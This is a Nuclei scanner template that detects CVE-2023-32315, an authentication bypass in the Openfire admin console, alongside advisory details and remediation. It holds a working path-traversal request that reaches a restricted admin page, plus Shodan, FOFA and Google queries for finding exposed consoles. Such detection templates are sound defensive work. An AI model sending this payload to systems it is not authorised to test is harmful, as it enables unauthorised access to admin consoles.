id: CVE-2023-32315

info:
  name: Openfire Administration Console - Authentication Bypass
  author: vsh00t
  severity: high
  description: |
    Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to the Openfire Administration Console.
  remediation: |
    The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.
  reference:
    - https://github.com/advisories/GHSA-gw42-f939-fhvm
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32315
    - https://github.com/izzz0/CVE-2023-32315-POC
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/TLGKien/SploitusCrawl
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-32315
    cwe-id: CWE-22
    epss-score: 0.94439
    epss-percentile: 0.99987
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - title:"openfire"
      - http.title:"openfire"
      - http.title:"openfire admin console"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve2023,cve,auth-bypass,openfire,console,kev,igniterealtime

http:
  - raw:
      - |+
        GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apache"
          - "java"
          - "openfire"
          - "jivesoftware"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dd7fa08dc5564b0f9fc13dedb5ed737c00db0b3fa434616c7f3e163321c397810221009618ff258135a2621b91c789c1a5255323ecf9fb23e2fabfd5d29cc84e449cd8:922c64590222798bb761d5b6d8e72950